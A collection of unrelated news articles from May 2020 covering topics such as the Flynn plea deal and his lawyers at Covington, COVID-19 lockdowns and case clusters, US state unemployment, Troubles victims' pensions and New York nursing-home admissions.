The firm also seemed to have a financial incentive to end the case as soon as possible. By November 2017, Covington charged Flynn over $3 million and it looked like he wasnt up to footing the bill.

The plea deal offered significant benefit to Covington. Flynn would take the blame for the FARA papers, while the lawyers could take credit for getting him spared of FARA charges. They could even score more clients spooked by the DOJs sudden interest in FARA, which had seldom been enforced.

Ive been thinking about this. Assuming we reach a resolution of the Flynn case this week, after that resolution is fully public, including the FARA discussion, I would feel free to issue a meatier client advisory on FARA, Kelner said in an email to colleagues on Nov. 27, 2017, three days before Flynn agreed to plea (pdf).

Kelner was proposing a series of client briefings to strike when the iron is hot.

I think Flynn would be fine with that, since the chances of our getting paid for his case are looking grim, he said.

Later that day, Van Grack sent Kelner a draft of the plea agreement.

The part of the Statement of Offense blaming Flynn for alleged lies in the FARA disclosures was hardly brief or passing, as they suggested it would be, noted Covington lawyer Brian Smith in an email to Kelner and others (pdf).

He pointed out that some of the false statements attributed to Flynn regarding the FARA filings were contradicted by the caveats or qualifications in the filing.

Kelner agreed with this observation, but the firm apparently failed to fix the issues.

In the statement Flynn signed, every single allegation regarding the FARA filing was inaccurate, Powell pointed out (pdf).

In the end, Covington congratulated itself for a job well done (pdf).

On Dec. 7, 2017, Kelner and Anthony were named as the American Lawyers Litigators of the Week for supposedly saving Flynn from decades in prison.

Powell wasnt impressed.

Not only was Mr. Flynn denied his Sixth Amendment right to zealous counsel devoted solely to his interests, he was misled, misinformed and betrayed by counsel mired in non-consentable conflicts of interests that only worsened to Mr. Flynns increasing prejudice, she said in a Jan. 23, 2017, motion to withdraw Flynns plea (pdf).

Covington didnt respond to a request for comment.
(Natural News) A new cluster of COVID-19 cases has emerged in the northeastern provinces of Chinas Rust Belt region, with doctors noting that the virus involved in the new cases is behaving differently compared to the one first encountered in Wuhan late last year.

According to Qiu Haibo, an expert in critical care medicine who is part of the National Health Commission expert group, the virus found in patients in the provinces of Jilin and Heilongjiang was unique, in that its incubation period was longer compared to that of the patients in Wuhan.

In addition, Qiu noted that while Wuhans patients suffered severe lung, myocardial, renal and intestinal damage, the cases in Chinas Rust Belt mainly showed lung damage, with very slight damage to the heart, kidney or intestines.

The Rust Belt cases too, were largely asymptomatic, in the sense that they did not manifest any elevations in their temperature and only exhibited minor symptoms such as sore throats and fatigue.

This causes a problem, as they dont have any symptoms. So when they gather with their families they dont care about this issue and we see family cluster infections, Qiu told state broadcaster CCTV, Tuesday.

Qiu, in his interview, said the strain of the virus found in the Rust Belt clusters was probably imported from abroad, which could explain the differences between the Wuhan and Jilin cases.

According to authorities, the first case of infection was reported early this month in Jilin Province, which borders Russia and North Korea. This infection then spread to the cities of Jilin, Shulan and Shengyang.

State media Xinhua, meanwhile, reported that the province logged a total of 135 confirmed locally transmitted cases, of which 108 had been discharged. Twenty-five individuals, as per local media, are still hospitalized. (Related: New coronavirus strain may be emerging and causing survivors to get REINFECTED.)

As a response to the new cases, Chinese President Xi Jinping has called for strengthened measures to contain the infection, including the halting of public transport services, the sealing off of residential compounds in some of the cities in the region, and the creation of an emergency response team.

Five hundred medical professionals have also been tapped to help address the outbreak, as confirmed by Liu Qizhi, director of the Jilin municipal health authority.

Experts confirm: Coronavirus may be mutating

Perhaps due to intensified worry and speculation over a second wave of potentially fatal coronavirus infections, public speculation on coronavirus mutations have since flooded the internet.

Experts, however, say this fascination with viral mutations may be a case of much ado about nothing.

As with all known viruses, it is normal for the coronavirus to change and mutate, according to Nels Elde, an associate professor of human genetics at the University of Utah.

Viruses mutate. Thats one of the things that makes them such a successful entity, Elde said in an interview with ABC News, noting that because viruses are constantly copying themselves, it is inevitable for some of its copies to manifest random mistakes or mutations.

The word mutation to people means something bad because its got that connotation to it, Vincent Racaniello, a professor of microbiology at Columbia University Medical Center, noted.

According to Racaniello, mutation in the context of viruses simply means a change in their genome sequence.

It doesnt mean that its necessarily bad for you at all, Racaniello said.

Keiji Fukuda, director and clinical professor at the University of Hong Kongs School of Public Health, had the same sentiment, noting in an interview with Bloomberg that while some changes in the genetic structure can, in theory, lead to changes in the viruss structure or its behavior, many mutations lead to no actual and discernible changes at all.

Lucy Van Dorp, a research associate with the University College Londons Genetics Institute, meanwhile, noted in an interview with Al Jazeera that while 198 mutations of the virus have been found so far, the vast majority of mutations in the SARS-CoV-2 genome are likely to be neutral or without impact.

As of press time, the coronavirus has infected 5,127,125 and killed 333,398 according to data from Johns Hopkins University.

Sources include:

Bloomberg.com 1

Reuters.com

XinhuaNet.com

News.CGTN.com

ABCNews.go.com

Bloomberg.com 2

AlJazeera.com

Coronavirus.JHU.edu
YEREVAN, MAY 22, ARMENPRESS. As a result of an agreement reached between the Armenian Ministry of Environment and the Global Environment Facility (GEF) in 2019, the GEF approved 1,000,000 dollars in grant for Armenia on May 20, 2020.

Parties to the Paris Agreement submit their national climate agenda and obligations which they will fulfill for the universal goal of tackling climate change.
The Andhra Pradesh High Court on Friday ordered a CBI inquiry into an incident in which a suspended government doctor was allegedly beaten up and

paraded bare-chested on the streets of Visakhapatnam by police for 'creating ruckus' in an inebriated state last week.

A division bench of justices Rakesh Kumar and Suresh Reddy gave the direction after perusing a report submitted by a local magistrate, who was asked to go into the issue, along with a medical report produced by the state government, on the mental health of the doctor.

The bench said it found discrepancies in the two reports and ordered the CBI to register a case and conduct a thorough probe into the matter.

The court had taken cognisance of the alleged incident highlighted in a letter received from a TDP leader, Anitha, and directed the magistrate in Visakhapatnam to personally visit the doctor, record his statement and submit a report.

A case was registered against K Sudhakar, who was suspended for his "controversial" remarks against the YS Jagan Mohan Reddy regime, for allegedly creating ruckus on the streets under the influence of alcohol.

He was taken into custody on Saturday. The doctor was booked under Sections 353 (assault or criminal force), 427 (mischief causing damage)and 506 (criminal intimidation) of the Indian Penal Code (IPC).

A video of the doctor, in which he is purportedly seen abusing policemen and passers-by and getting kicked by the personnel has gone viral. The incident has drawn criticism from opposition party leaders.

Earlier in March, Sudhakar hit headlines for criticising the state government before the media stating that the administration has failed to provide sufficient N-95 masks and the PPEs for doctors. Subsequently, he was suspended.

Meanwhile, the ruling YSR Congress has alleged that Sudhakar was a TDP supporter.

(With inputs from PTI)
- The lady named her fourth born son Paul Mafuriko in remembrance of the destruction caused by floods

- Mafuriko was born on the eve of Thursday, May 21, at a Busia school where her mum was camping together with other families rendered homeless by floods

- It was estimated that more than 800 families in Budalangi were affected by the floods

- A month ago, a couple named their new born twins Corona and Covid in remembrance of the novel coronavirus pandemic

A middle aged woman from Bukeki village, Bunyala South ward in Budalangi constituency has named his new born son Paul Mafuriko to commemorate the destruction caused by the floods.

The woman who requested anonymity, gave birth to a bouncing baby boy on the eve of Thursday, May 21, at John Osogo Secondary School where she was camping together with other families that were rendered homeless by floods.

READ ALSO: Margaret Wanjiru: Former MP battling COVID-19 in ICU

The woman said her family had faced a lot of challenges due to floods in Budalangi. Photo: UGC.

Source: UGC

READ ALSO: It's his life: Netizens defend former Machachari actor Almasi after tweep called him gay

Speaking to TUKO.co.ke, the lady said her family decided to move to a higher ground to seek shelter after their house was submerged by water.

"The raging floods have made our lives very hard. When we came here to this school, I was pregnant and I gave birth here. We are facing a lot of challenges," she said.

"We are overcrowded here at John Osogo Secondary school we thank the principal who has allowed us stay here, but I make a plea to the Busia county government, NGOS and other well-wishers to continue supporting us, she added.

The woman said all her belongings were swept away by heavy floods rendering her homeless. Photo: UGC.

Source: UGC

READ ALSO: Chifu taabani kwa kuwapa waombolezaji wenye coronavirus kibali kusafiri

Her husband said they also decided to name the baby Paul, after the principal of the institution who gave them accommodation.

The woman said all her belongings were swept away by heavy floods rendering her homeless with her three kids, adding she survived the pregnancy in difficult situation until she gave birth.

"Before I received food aid, beddings and other personal effects from well-wishers, I used to sleep on the floor, mosquitoes were a nuisance but I thank God I have given birth to a strong Paul Mafuriko in remembrance, she said.

READ ALSO: Kenya is officially under a dictator: Moses Kuria tears into Uhuru's leadership

An official from the Kenya Commercial Bank (KCB) Port Victoria branch said they would adopt and take care of the baby.

"As officials from KCB Port Victoria, we will adopt the baby and we will make sure the family has food as we visit the mother from time to time until the child has grown up. We are also appealing to well wishers to donate food to the family," said the official.

TUKO.co.ke earlier reported of an Indian couple who named their twins Corona and Covid in the midst of the coronavirus pandemic.

The Indian couple said the names would remind them of all the storms they weathered including a lockdown ahead of a successful delivery of the two angels on Thursday, March 26 and Friday March 27.

Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly.

Kenyans lets pray for one another - CS Kagwe | Tuko TV

Source: TUKO.co.ke
Sir Winston Churchill once admonished leaders to never let a good crisis go to waste. Wall Street banks and other large banks have been paying attention: They were shrewd enough to seize the opportunity presented by the last financial crisis to get hard-nosed government agencies to approve giant M&A deals they would otherwise have frowned upon.

The oil sector should take its cue from the banking sector and try out a little Churchillian wisdom.

Rob Cox, global correspondent for Reuters Breakingviews, seems to feel that is inevitable. He has told Reuters that the Covid-19 crisis could lead to merger mania in sectors like telecoms, auto, consumer goods, and energy.

But unlike the mid-cap energy mergers that had begun to break out before the crisis struck, Rob says tie-ups between giant producers like ExxonMobil (NYSE:XOM), Chevron (NYSE:CVX) and BP(NYSE:BP) among others is now within the realm of possibility.

Cutting Costs

Pre-crisis notions about competition and antitrust concerns, Cox argues for Reuters, might take a backseat as economies emerge from lockdowns with governments changing tack and beginning to prioritize building industries with better operational efficiencies, lower costs, and healthier balance sheets.

Giant energy companies could use the cost-cutting gambit to justify mammoth deals that would otherwise fail to pass muster.

Under this backdrop, Exxon and Chevron might bandy together, and even throw in BP for good measure, to form the acronymous ExChevBrit whose combined market cap of $425 billion and reserve pool of ~70 billion barrels of oil equivalent would still pale in comparison to Saudi Aramcos $1.6 trillion value and 270 billion Boe. Related: U.S. Shale Scrambles To Innovate Its Way Out Of Crisis

The financial crisis of 2008 that crippled the global banking sector, Cox notes, opened the way for mega-mergers such as Bank of America paying $50 billion for Merrill Lynch; Wells Fargo ponying up $15.1B to snag West Coast rival Wachovia and high-street lender Lloyds TBS coughing up 12bn for HBOS.

Cox concludes by predicting that the backlash facing sprawling conglomerates such as 3M, Emerson Electric, and General Electric is likely to fade away and even encourage the likes of Caterpillar and Deere to pursue their own tie-ups.

Low Carbon M&A

Its going to be interesting to see whether Coxs M&A game plays out this way in the long run. It has certainly done so to varying degrees in the past.

For instance, the last oil bust of 2016 acted as a catalyst for the $60 billion M&A deal between energy giants Royal Dutch Shell and BG Group, Suncor Energy, and Canadian Oil Sands, as well as a $35-billion proposed merger between Halliburton and Baker Hughes that eventually fell through.

However, things so far do not appear to be panning out this way.

We are currently witnessing a dramatic fall in M&A activity in the energy sector, as we previously reported. Indeed, a recent report has revealed that U.S. upstream M&A deals during the first quarter only amounted to $770 million, or less than 1/10th the average quarterly deal amount over the past decade. The report further says that there are only ~$4.7B in upstream deals available in the market for snapping up, compared to $92 billion in completed mergers in 2019 or the average of ~$78 billion over the past ten years.

Thats a massive drop whichever way you dice it, an ominous sign that bearishness and uncertainty in the sector has reached unprecedented levels. Related: Europe Set To Unveil Its $500 Billion 'Green Deal'

Although energy asset values have taken a serious plunge during the oil price collapse-- and have continued to fall even further as shale producers shut-in wells at record levels-- more secure producers like Exxon and Chevron are holding out because nobody seems sure if the energy sector will ever return to its pre-crisis shape.

Indeed, its more likely that energy companies will be more willing to hunt for deals in the low-carbon and renewable energy sectors. Last year, low-carbon acquisitions and joint ventures by oil companies surged to 33 from 20 the previous year, though the total deal amount was lower.

Source: IHS Markit

A new report by the International Energy Agency (IEA) says the renewables and clean energy sector has been bucking the trend, with renewable electricity generation growing 3% during the first quarter at a time when oil demand fell ~30%. Meanwhile, renewables share in the global electricity generation mix jumped to 28% during the first quarter from 26% by the end of 2019, mainly at the expense of coal and gas. The IEA has predicted that renewable power generation will expand 5% in the current year on the back of the expansion of wind, solar, and hydropower.

Given the resilience of clean energy, do not be surprised if the oil majors prefer to hunt for bargains in the sector and continue giving their own kind a wide berth.

Still, its never easy teaching an old dog new tricks. Just dont bet against them returning to old habits, especially if the nascent oil rally continues on its current trajectory.

By Alex Kimani for Oilprice.com

More Top Reads From Oilprice.com:
First Minister Arlene Foster, PSNI Chief Constable Simon Byrne and deputy First Minister Michelle O'Neill during the daily media broadcast in the Long Gallery at Parliament Buildings, Stormont on Friday. Photo by Kelvin Boyes / Press Eye.

First Minister Arlene Foster and Deputy First Minister Michelle ONeill have both called for the British Government to foot the 100m bill for the long-awaited pension for victims of the Troubles.

The UK Government and Northern Ireland Executive are at odds over who will pay for the scheme.

Mrs Foster, speaking during the Covid-19 press briefing on Friday, said: This pension went through the Westminster Parliament, the regulations were set at Westminster before the Stormont Executive returned in January.

Therefore we take a very clear view in relation to the funding, we are committed to delivering this pension as part of the New Decade, New Approach.

But we do have to deal with the funding, its quite a lot of money and therefore we need to be able to make sure that we can deliver. There is a legitimate expectation, we both expect that it has to be delivered and therefore we need to get on and deliver it and I am very much committed to that.

Ms ONeill added: This is about restoring dignity, this is about supporting those people that have been both physically and psychologically injured as a result of the conflict.

Read More

So, there are key issues that need to be resolved and they need to be resolved as quickly as possible to allow this payment to happen.

UUP MLA Doug Beattie  who found out about the delay in an Assembly question  said arguments over money missed key issues, with questions needed over why structures were not in place a week before the scheme was to go live.

He said the scheme would be UK-wide and to say this must be paid for solely from the Northern Ireland budget just doesnt add up.

He also said both the Executive and Northern Ireland Office had failed victims by not informing them the scheme would not be in place by May 29 as had been originally envisaged.

Indeed, had the question not been asked at the Executive committee, when would victims have found out this scheme has descended into farce? he said.

Read More

This is UK Government legislation. The Government should not have brought this payment into law if they had not worked through all the issues that are needed to support the scheme.

He added: The basic facts are that the scaffolding that supports the Victims Payment Scheme is not in place. There has been no administrative department nominated to run the scheme, no scheme board appointed and that is a clear failing of the Executive Office.

Some of the questions now have to be around when this legislation will be enacted. Is there unity within the Executive on this issue or have Sinn Fein, who hold the purse strings, made it clear they will contribute nothing to the scheme because they did not get their way in respect of perpetrators not getting a payment?

While I believe the UK Government should pay a large proportion of the budget towards the Victims Payment Scheme, I also believe that Northern Ireland must also pay its way.

Couldn't agree more https://t.co/QtGLHKdKVT  Julian Smith MP (@JulianSmithUK) May 21, 2020

But if this scheme is being stalled due to politicking within the Executive Office then lets get that out in the open.

Northern Ireland Secretary Brandon Lewis said he shared the huge frustration over the delay, saying he was hopeful the matter could be resolved soon. This was agreed as part of the budget the executive have, he said.

More than 40,000 people were injured during the Troubles and those that suffered physically or psychologically through no fault of their own were to receive pensions of between 2,000 and 10,000 annually. Legal action could begin against the Executive over the delay depending on its response to a victims group.

Alan McBride, coordinator of the Wave trauma centre, who lost his wife Sharon and father-in-law Desmond Frizzell in the IRAs 1993 bombing of the familys fish shop, is behind the legal action. Wave indicated that, depending on the Executive Offices response to a pre-action protocol letter asking for an explanation, a decision will be made whether or not to apply for a judicial review of the Executives conduct.
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Nigerias Vice President, Professor Yemi Osinbajo has constituted a committee on the reopening of the economy.

This was one of the resolves after chairing a virtual National Economic Council (NEC) meeting on Thursday, May 21, the first since the outbreak of the Covid-19 pandemic.

In a press release signed by Mr. Laolu Akande, the VPs spokesperson, Osinbajo noted that members of the NEC reached a resolution to ensure a more effective synergy between the Federal Government and the sub-nationals especially in matters relating to the fallouts from the COVID-19 pandemic, including how to effectively and efficiently reopen the Nigerian economy after the lockdowns and shutdowns across the country.

Dr. Ifeanyi Okowa, the Delta State governor is to lead a lean committee of seven which will work with the Presidential Task Force on COVID-19. Other members include the Governors of Lagos, Kano, Bauchi, Anambra, Plateau, and the FCT Minister.

The Vice President also disclosed that the committee will ensure that there would be an even more effective collaboration and coordination between the Federal Governments Presidential Task Force and the States of the Federation including the FCT.

In the councils resolve to toll a path of growth and development for the Nigerian economy by ensuring massive productivity in several sectors including agriculture, power, infrastructure, technology among others, the NEC agreed to cooperate with the Osinbajo-led Economic Sustainability Committee (ESC) towards the development of a national Economic Sustainability Plan. The NEC will now meet next week with the ESC

Speaking earlier while briefing the council, the Hounorable Minister of Finance, Budget and National Planning, Zainab Ahmed, said: to prevent a deep recession arising from the COVID-19 economic crisis, the orthodox approach all over the world, which is also in the works in Nigeria, is to deploy a stimulus package.

She blamed the Covid-19 pandemic for the collapse of oil prices which impacted negatively on Federation revenues and Foreign exchange earnings.

While informing the council on the measures put in place, the finance minister noted that the President established the Presidential Task Force on COVID-19, the Crisis Management Committee and the Economic Sustainability Committee which was part of the established structures to respond to the COVID-19 pandemic in Nigeria.

She also gave an update on the excess crude account (ECA)Balance which as at 21st May 2020 stood at $72,406,791.52, the Stabilisation Account at N39, 337,123,485.30 and the natural resources development fund Account

Balance is N125, 190,251,907.47 as at 21st May, 2020.

The net oil gas revenue inflows to the federation account in Q1 2020 amounted to N940.91 billion. This represents a shortfall of N425.52 billion (or 31.1% of the prorated amount), she added.

Other supports the Federal Government is working on to ensure the financial viability of States include: the suspension of payments in respect of ISPO and moratorium on deductions in respect of bailout loans, with effect from April 2020. Also, there will be a fiscal stimulus package- COVID-19 intervention fund of N500 billion (US$1.4 billion)- supports healthcare facilities, provide relief for taxpayers and incentives employers to retain and recruit staff during the lockdown; increase of Social register by 1 million households to 3.6million for cash transfer program and palliatives and social Safety Net Program.

The Governor of Kaduna State, Mallam Nasir El-rufai, gave a report of the NEC Ad-hoc Committee to review status of the ownership structure of the Electricity Power Distribution Companies (Discos).

The report was adopted and the implementation process is ongoing especially through the composition by the President of a Power Sector Reform Working Group headed by VP Osinbajo.

The Honourable minister on health, Osagie Ehanire, also gave a brief on the eradication of polio and support to community transmission of covid-19.

Present at the meeting were, all the 36 State Governors, the FCT Minister, Central Bank Governor and other top officials of the Federal Government.
Safety Protocols for Shifting from Office to Home

Although staff no longer must make the commute into the office, safety hazards can and do still exist in the home. Here's your WFH safety checklist.

A substantial share of the US workforce is currently working from home to respect social distancing and to stop the spread of COVID-19. For some organizations, the transition from corporate office to home office has not been overly difficult. For other industries, remote work is accompanied with a large number of challenges, and the transition from office to home has not been as smooth.

As companies continue to navigate and overcome their own individual obstacles, its important that safety is not brushed aside. Although staff no longer must make the commute into the office, safety hazards can and do still exist in the home.

As some states and provinces in North America ease restrictions and begin to re-open, some offices will continue to work from home. Companies such as Facebook, Twitter, and Google are in no rush to bring their employees back to the physical office. Thus, this article will identify safety protocols to take for employers and employees who employ a remote workforce.

Set Up a Safe and Comfortable Work Environment

Its important to dedicate adequate time and resources to set up a suitable at-home office due to the large amount of time that you will be spending here. Some important aspects to consider are chair and desk design, lighting, privacy and air flow. Investing in an ergonomic chair is a very good idea, specifically one with adjustable backrest, armrest and seat depth.

Conduct Regular At-Home Hazard Assessments

Before settling into your home office, its important to carry out an at-home hazard assessment to identify the safety risks that may be present. There is a broad range of hazards that can exist in the home, including ergonomic, physical, chemical, biological, environmental and electrical hazards.
The State of Tennessee commemorates 100 years of the Ratification of the 19th Amendment in 2020, spotlighting Tennessees role as the Perfect 36. To mark the occasion, the Tennessee 100 Woman Committee, chaired by Tennessee State Representative Robin Smith, Hamilton County, is coordinating a statewide competition for Tennessee students and, due to the impact of COVID-19, the entry deadline has been extended to Friday, May 29.

Tennessee State Representative Patsy Hazelwood and Tennessee Historical Commission member Linda Moss Mines serve on the committee also.



Each of the project options will allow students to engage with and reflect upon the anniversary of the 19th Amendment, and what the fight for a womans right to vote means to them. The statewide competition helps students engage and reflect upon this momentous commemorative event as they learn about womens suffrage and Tennessees unique role in the ratification of the 19th amendment.



Prizes include scholarship money in a TNStars 529 account and Apple IPads. All winners in each category, and their teachers, will also receive an all-expenses paid trip to Nashville to celebrate the 100th anniversary of the 19th amendment in August 2020.



"This isnt your ordinary essay contest," officials said. "The Battle for the Ballot competition is built around the inquiry-process of project-based learning and is designed to hit grade-specific standards through a multi-disciplinary approach. While analyzing the historical issues of the womens suffrage movement, it is an opportunity for students to use their creativity, develop their communication skills, and win some really cool prizes."



How can you participate?



Grades six-eight: Create a Public Service Announcement (PSA) that explains why it's important to commemorate the Centennial of the Womens Suffrage Movement, including Tennessees role.

Note: Students should frame their entries around informing someone about the topic and why it is important.



Grades nine-12: Create a documentary describing the movement to achieve suffrage for women, the role played by Tennessee as the final state needed to ratify the 19th Amendment, and the impact of both on the world today.



Grades nine-12: Write a speech describing the movement to achieve suffrage for women, the role played by Tennessee as the final state needed to ratify the 19th Amendment, and the impact of both on the world today.



Seniors who have recently graduated are encouraged to participate in the documentary and speech options.



For more information, visit the Tennessee 100 Woman website at https://tnwoman100.com/battle-for-the-ballot-competition/.
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The Cypriot government ended a strict coronavirus lockdown Thursday, reopening outdoor restaurants and barber shops, but keeping the Mediterranean resort islands vital airports and hotels closed for now.

After two months of living in self-isolation, Cypriots were allowed to move around freely again.

Roads in the capital were noticeably busier than during the lockdown but with the island experiencing record temperatures for May of 43 degrees Celsius (109 degrees Fahrenheit) few pedestrians were out.

As the lockdown was lifted, businesses and shoppers were adjusting to a new normal of sanitation measures.

In reopened cafes, customers were seated outdoors with two metres (yards) between tables.

Some ate with plastic face shields still on, while waiters served them wearing face masks and plastic gloves.

But for many it was a welcome taste of freedom after two months of only being allowed to go outside for exercise or essential trips approved by text message in advance.

Its the first day theyre open so were just here to have coffee. Were having fun finally, said Ben, a young man seated outside a cafe with a friend.

Some 32,000 more people returned to work as part of the governments second stage out of lockdown.

Tens of thousands of children returned to the classroom as state-run schools resumed classes for most pupils.

A sample of both pupils and teachers underwent swab tests for the coronavirus on their first day back.

 Make or break 

Cyprus activated the second stage of its draft timetable for ending the lockdown after the daily number of new infections remained in single figures throughout the first three weeks of May.

Virologist Dr Leontios Kostrikis, who is a member of the health ministrys epidemiological monitoring unit, said he was very satisfied with the figures so far.

The second stage is a make or break point for a full return to normalcy and for this reason we kindly ask you to keep up the good work with the same determination so that we are not forced to take backward steps, Kostrikis told reporters.

Due to the better than expected figures, the government has decided to allow Cypriots access to organised beaches from Saturday, rather than June 1 as planned.

At present only swimming is allowed not sunbathing or any other leisure activity.

 Still no flights 

But the islands two international airports in Larnaca and Paphos remain firmly shut for now, as do the crossing points to the breakaway Turkish-Cypriot north of the island.

The tourism sector is a key part of the Cyprus economy and the government has been under heavy pressure to reopen airports and hotels before the peak summer season.

The government has said it hopes to reopen airports gradually from mid-June with hotels to reopen two weeks after that.

But it has yet to issue any health protocols on how they will operate.

Indoor bars and restaurants will also remain shut until the third phase out of lockdown scheduled to start from June 9.

Business owners said they were impatient to make up for lost earnings.

I want my work back and my life back, said Sakis Siakopoulos, a restaurant owner on Ledra Street, the capitals busiest pedestrian thoroughfare.

Siakopoulos said he had lost 11,000 euros per month in revenue while his restaurant was closed, but with the Cyprus government paying 60 percent of his wage bill he was able to retain his staff.

Limited restaurant seating meant it would be impossible for him to run a profitable business, he said, and the European Union would have to do more to support businesses like his.

If were broke, they will be broke, he said.

The government has said crossing points through the UN-patrolled buffer zone that divides the government-controlled south from the breakaway north will not reopen before next month.

Their closure has prevented thousands of Turkish Cypriots from reaching work in the south and sparked Turkish Cypriot demonstrations.

SOURCE: AFP
If youve had an extra hour or 90 to stare at a screen in the past two months, you might have seen one of Scotts videos. The settings change, from bar crawl to birthday toast to Uber ride, but her character remains the same: Scott is a runny-mascarad hot mess who is definitely going to borrow your purse and then puke in it. She just happens to be delivering the monologues of the president of the United States. Im not splicing anything together, Scott says. Theyre all full sound bites that hes said directly.
London: Britain has rejected Australia's request to be immediately exempted from its new coronavirus quarantine scheme but has opened the door to a special deal in the coming months.

Home Secretary Priti Patel announced the regime on Friday following sustained criticism that the government's refusal to close the borders or introduce any checks in February, March and April had contributed to the United Kingdom's soaring death toll.

A plane comes in to land at Heathrow airport over nearby houses in London. Credit:Getty

In a bid to avert a "second wave" of the disease, the government will soon require virtually all air, sea and rail arrivals to self-isolate in a private home for 14 days. But the scheme won't start until June 8 and border officials will not conduct wide-ranging spot checks.

Some members of Prime Minister Boris Johnson's cabinet fear the system will have little effect on reducing the scale of the UK's outbreak but cause major economic damage to the already struggling tourism and travel industries.
Nevada, Michigan and Hawaii are the three states where unemployment rates have increased the most across the country amid the coronavirus pandemic as California's jobless soars higher than the Great Recession.

Unemployment rates rose and total employment fell in all 50 states last month as efforts to contain the spread of COVID-19 forced businesses to close across the country, the Labor Department said on Friday.

The department's Bureau of Labor Statistics said 43 states set record-high rates of unemployment last month, with the three highest being Nevada (28.2%), Michigan (22.7%) and Hawaii (22.3%).

The monthly breakdown of state-level nonfarm employment and jobless rates painted a picture of widespread but nonetheless uneven devastation caused by the spread of COVID-19.

During April, US employers shed 20 million jobs, eliminating a decade's worth of job growth in a single month. The unemployment rate reached 14.7%, the highest since the Depression.

Unemployment rates rose and total employment fell in all 50 states last month as efforts to contain the spread of COVID-19 forced businesses to close across the country, the Labor Department said on Friday. Pictured above is an unemployment office in Los Angeles

Millions of other people who were out of work weren't counted as unemployed because they didn't look for a new job. Since then, 10 million more laid-off workers have applied for jobless benefits.

Friday's report indicated more than a quarter of those job losses were concentrated in three of the largest US states: California, which shed 2.3 million jobs; New York, which has seen the largest number of COVID-19 cases and deaths and lost 1.8 million positions; and Texas, which has suffered a double blow from plunging oil prices and lost 1.3 million jobs.

Nevada's jobless rate surged by 21.3 percentage points from March to 28.2%, which was nearly double the national rate of 14.7% in April.

In the state, which is home to the global gambling mecca of Las Vegas, half of the nearly 245,000 jobs lost in April were in the leisure and hospitality sector.

That industry has suffered the greatest losses nationally from the reductions in travel and widespread closures of dine-in restaurants during a month when stay-at-home orders were deployed broadly.

The leisure and hospitality sector losses also took a major toll on Hawaii, which was one of only three states with an unemployment rate above 20% - Nevada and Michigan were the other two.

The Pacific island state lost more than 55% of leisure and hospitality jobs last month, accounting for 57% of all jobs lost in that period.

In Michigan, more than one of every five jobs was eliminated, at least temporarily. The leisure and hospitality sector led the declines there, too, but a quarter of the state's losses came in the manufacturing and construction sectors.

Unemployed workers attend to a demonstration to demand their unemployment benefits, in Miami Beach, Florida on Friday. Dozen of unemployed hospitality and service workers who have not received unemployment checks lead a caravan die-in action demanding that Florida's Governor Ron DeSantis pay their bills

Vehicles are seen in a caravan protest asking the state of Florida to fix its unemployment system on Friday

Meanwhile, the data shows California's unemployment rate nearly tripled to 15.5% in April as the nation's most populous state lost more jobs in one month from the coronavirus than it did during the Great Recession a decade ago.

Just two months ago, California was boasting an unprecedented economic expansion as it added more than 3.4 million jobs over 10 years, accounting for 15% of the nation's job growth. More than two-thirds of those gains were wiped out last month as the state lost 2.3 million jobs.

California accounted for 11.4% of all jobs lost nationwide in April as the unemployment rate jumped 10.2 percentage points since March, the largest one month rise since 1976 when the state began using its current formula to measure job losses. All of the state's 11 industry sectors saw declines in April, led by leisure and hospitality with more than 866,000.

Layoffs have persisted in May even as all 50 states have reopened businesses to one degree or another. On Thursday, the BLS reported more than 2.4 million people filed for unemployment benefits for the first time last week and those continuing to receive jobless relief payments topped 25 million in the week ended May 9.

That data suggests the worst may not be over for the hardest-hit states such as Nevada, Hawaii and Michigan. The number of continued claims rose in all three, including a 31% week-over-week increase in Hawaii.

Economists believe that progress in driving down infection rates will be an important factor behind the success of state re-opening efforts.

On that front, at least, both Hawaii and Nevada appear to be leaders, and they are among just eight states to have shown three straight weeks of declines in the 7-day average of new cases. Michigan is among 20 states that have seen declines in two of the past three weeks.

On Thursday, the BLS reported more than 2.4 million people filed for unemployment benefits for the first time last week and those continuing to receive jobless relief payments topped 25 million in the week ended May 9
Emergency Medical Service workers unload a patient out of their ambulance at the Cobble Hill Health Center in the Cobble Hill neighborhood of the Brooklyn borough of New York City on April 18, 2020. (Justin Heiman/Getty Images)

Over 4,300 CCP Virus Patients Sent to NY Nursing Homes, New Count Shows

More than 4,300 CCP virus patients were sent to New York nursing homes under a controversial state directive, according to a new count.

The Associated Press compiled the tally after New Yorks Department of Health declined to make public an internal survey it conducted two weeks ago.

The tally is for elderly who were in hospitals with COVID-19, the disease caused by the CCP (Chinese Communist Party) virus, before being released to nursing homes under a March 25 directive issued by the state Department of Health.

The guidance informed nursing home operators they couldnt deny admission or readmission to a nursing home solely based on a confirmed or suspected diagnosis of COVID-19.

In a statement to The Epoch Times, the state Department of Health echoed Democratic Gov. Andrew Cuomo in attempting to place blame on the federal government, including the Centers for Medicare and Medicaid Services (CMS).

State officials followed actions outlined in a March 13 memo from CMS that states nursing homes SHOULD admit any individual they would normally admit to their facility, including individuals from hospitals where a case of COVID-19 was/ is present,' the statement said.

Weve also restricted visitors, ordered workers to be temperature checked every day, tested twice a week, provided facilities access to 96,000 staffers, provided them with 13 million pieces of PPE and taken other actions to protect this vulnerable population, it added.

State officials again touted ranking 35th in the nation in terms of confirmed nursing home fatalities, but state numbers were changed last month to leave out residents who were transported to hospitals and died there.

New York Governor Andrew Cuomo speaks at his daily briefing at New York Medical College during the outbreak of the CCP virus in Valhalla, New York on May 7, 2020. (Mike Segar/Reuters)

Some data from the internal survey, the department told The Epoch Times, was incomplete and needs further verification to ensure integrity. Officials are trying to ascertain whether the residents who were admitted or readmitted to nursing homes under the directive were still contagious.

Federal data indicates that at 10 days after the onset of the new virus, shedding is decreased and approaches zero, the department stated.

State officials, including Democratic Gov. Andrew Cuomo, continue to insist that nursing homes all along could decline to take patients if they couldnt properly care for them. But the directive lacked language to that effect.

The state Department of Health on April 29 issued a clarification (pdf) for the directive. The update said nursing homes shouldnt take residents if they couldnt follow guidelines recently implemented for people diagnosed with COVID-19, including dedicating a separate area for those patients.

A few weeks later, the original order was effectively reversed by blocking hospitals from releasing patients to nursing homes after growing calls for an independent probe into what happened.

The new tally indicates over 4,300 elderly patients who tested positive for the CCP virus were sent back to nursing homes.

Cuomos office didnt return a request for comment from The Epoch Times.

The state has recorded 2,823 confirmed COVID-19 deaths at nursing homes as of May 20 (pdf) as well as 2,646 presumed COVID-19 deaths at the homes.

